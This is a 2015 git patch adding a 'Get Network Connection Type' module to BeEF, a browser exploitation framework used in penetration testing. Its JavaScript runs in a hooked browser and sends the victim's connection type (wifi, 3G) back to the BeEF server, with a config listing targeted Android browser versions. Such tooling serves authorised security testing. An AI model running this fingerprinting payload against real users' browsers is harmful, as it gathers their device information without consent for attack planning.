From 0226a910487ce09d738b0f8058f5bcf04e6c7ef0 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 13 Dec 2015 21:49:21 +0000 Subject: [PATCH] Add Get Network Connection Type module --- modules/host/get_connection_type/command.js | 10 ++++++++ modules/host/get_connection_type/config.yaml | 26 ++++++++++++++++++++ modules/host/get_connection_type/module.rb | 14 +++++++++++ 3 files changed, 50 insertions(+) create mode 100755 modules/host/get_connection_type/command.js create mode 100755 modules/host/get_connection_type/config.yaml create mode 100755 modules/host/get_connection_type/module.rb diff --git a/modules/host/get_connection_type/command.js b/modules/host/get_connection_type/command.js new file mode 100755 index 000000000..975a4c3f4 --- /dev/null +++ b/modules/host/get_connection_type/command.js @@ -0,0 +1,10 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var connection_type = beef.net.connection.type(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "connection="+connection_type); +}); diff --git a/modules/host/get_connection_type/config.yaml b/modules/host/get_connection_type/config.yaml new file mode 100755 index 000000000..865050721 --- /dev/null +++ b/modules/host/get_connection_type/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + get_connection_type: + enable: true + category: "Host" + name: "Get Network Connection Type" + description: "Retrieve the network connection type (wifi, 3G, etc).
Note: Android only." + authors: ["bcoles"] + target: + working: + C: + os: ["Android"] + min_ver: 46 + max_ver: 47 + FF: + os: ["Android"] + min_ver: 42 + max_ver: 42 + not_working: + ALL: + os: ["All"] diff --git a/modules/host/get_connection_type/module.rb b/modules/host/get_connection_type/module.rb new file mode 100755 index 000000000..e18582c74 --- /dev/null +++ b/modules/host/get_connection_type/module.rb @@ -0,0 +1,14 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Get_connection_type < BeEF::Core::Command + + def post_execute + content = {} + content['Result'] = @datastore['connection'] + save content + end + +end